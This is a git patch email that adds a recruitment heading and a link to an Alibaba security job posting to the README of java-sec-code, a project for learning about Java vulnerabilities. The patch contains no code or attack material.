From: JoyChou <root@joychou.org>
Date: Fri, 28 Jun 2024 09:52:04 +0800
Subject: [PATCH 38/38] Add alibaba recruitment.

---
 README.md | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/README.md b/README.md
index a6b30f4d..c1f2eb91 100644
--- a/README.md
+++ b/README.md
@@ -5,6 +5,11 @@ Java sec code is a very powerful and friendly project for learning Java vulnerab
 
 [中文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README_zh.md) 😋
 
+## Recruitment
+
+[Alibaba-Security attack and defense/research（P5-P7）](https://github.com/JoyChou93/java-sec-code/wiki/Alibaba-Purple-Team-Job-Description)
+
+
 ## Introduce
 
 This project can also be called Java vulnerability code.